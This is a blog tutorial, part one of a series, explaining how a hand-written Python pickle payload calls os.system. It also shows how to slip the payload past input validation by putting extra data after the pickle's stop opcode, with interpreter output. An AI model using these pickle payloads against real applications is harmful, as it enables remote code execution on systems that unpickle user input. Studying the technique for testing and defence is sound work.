A Recipe For Rotten Pickles With Python

Part one in a two part series looking at how the python pickle language works and how it can be used to get remote code execution.

A Recipe For Rotten Pickles With Python

Part 1 - A quick overview of pickles

No this is not some crazy southern recipe for cooking snake with rotten brined cucumbers, it is part one of a two part piece on abusing the Python languages object serialization module pickle. I have been asked questions so many times about creating payloads to abuse applications that have exposed python's pickle module to user input that I felt it was about time to write a article on some of the basics that people often seem to miss.

First things first I think it is important to quickly cover some of the basics of the pickle language since understanding these seems to be one of the key things people are missing. I am going to intentionally gloss over some of the finer points such as detailing what a stack language (like pickle) is and how it works since those details seem to be a little deep for some and aren't necessary for the tasks they are trying to complete. To start out lets take a look at a small piece of code to get some of the basics of how this all works.

cos
system
(S'/bin/echo blah'
tR.

Let's take a look at it line by line. The first line we see cos which can be further broken down into two parts. c and os. The c tells the pickle module to read everything after it up to the newline as the name of a module. So in this case it is instructing the pickle module to import the os module. This is the equivalent of

import os

After that we see the name of a function in that module we are calling, in this case system. So this brings our equivalent python code to

import os
os.system(...)

The next line has a few parts, first the ( which is simply a marker which will be used by the next line so I'll hold of the details on it until that point. This is followed by a capital S which tells the module to read the string inside of the quotes up to the newline, in this case /bin/echo blah. This basically gets us the code (how this gets constructed will be covered on the last line)

import os
os.system('/bin/echo blah')

So that brings us to our last line which starts with a t which is the command to pop objects off of our stack until it reaches that marker I mentioned earlier ( so that makes a tuple with /bin/echo blah in it. The R takes that tuple and a callable system off of the stack and calls the callable with the tuple as an argument, this is what gives us that os.system('/bin/echo blah') and finally the most important part in these cases that people ask for help on that is often missed is that little . which when you read what it does it seems unimportant, put simply it ends the pickle...nothing more just simply lets the pickle module know that this is the end of the important stuff.

So how this comes into play is that many of these applications which these people are trying to exploit have code to validate input in one way or another, they may for example have a regex that tries to match a phone number and if a phone number isn't matches than they will fail out and not pass the input to the pickle module. This seems simple enough on the surface but for some reason I often see something like this

201-555-1212
cos
system
(S'/bin/echo blah'
tR.

And that produces this result

>>> payload = """201-555-1212
... ... cos
... ... system
... ... (S'/bin/echo blah'
... ... tR."""
>>> cPickle.loads(payload)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
cPickle.UnpicklingError: unpickling stack underflow

Once they send that to the application it fails to execute, then generally they see something like a 500 error (in a web application) and don't know what to try next. They usually have tested their pickle and it works fine so they can't figure out why it is failing. We will figure out why but first a quick piece of advice, if you are going to send a pickle with something extra attached try it the exact way you plan to send it in a python shell, this code will fail with the error cPickle.UnpicklingError: unpickling stack underflow. Now if they were paying attention to how these things work they may have noticed that there is a nice little . that lets the module know when there isn't anymore code so let's see what happens if we put our phone number after that period since in theory it shouldn't matter if it is back there since the module will never see it.

cos
system
(S'/bin/echo blah'
tR.201-555-1212

Trying this out we see that it works just fine

>>> payload = """cos
... system
... (S'/bin/echo blah'
... tR.201-555-1212"""
>>> cPickle.loads(payload)
blah
0

and with that example we see how simple the solution is to one of the key problems many people attempting to craft payloads that abuse pickle face. I hope this helps any of you that may have struggled with this problem in the past. Remember anytime you are trying to manipulate executable code to fit into some type of packaging it always helps to understand how you can do so without breaking the way that code is interpreted.

Part 2 - Remote Code Execution Coming Soon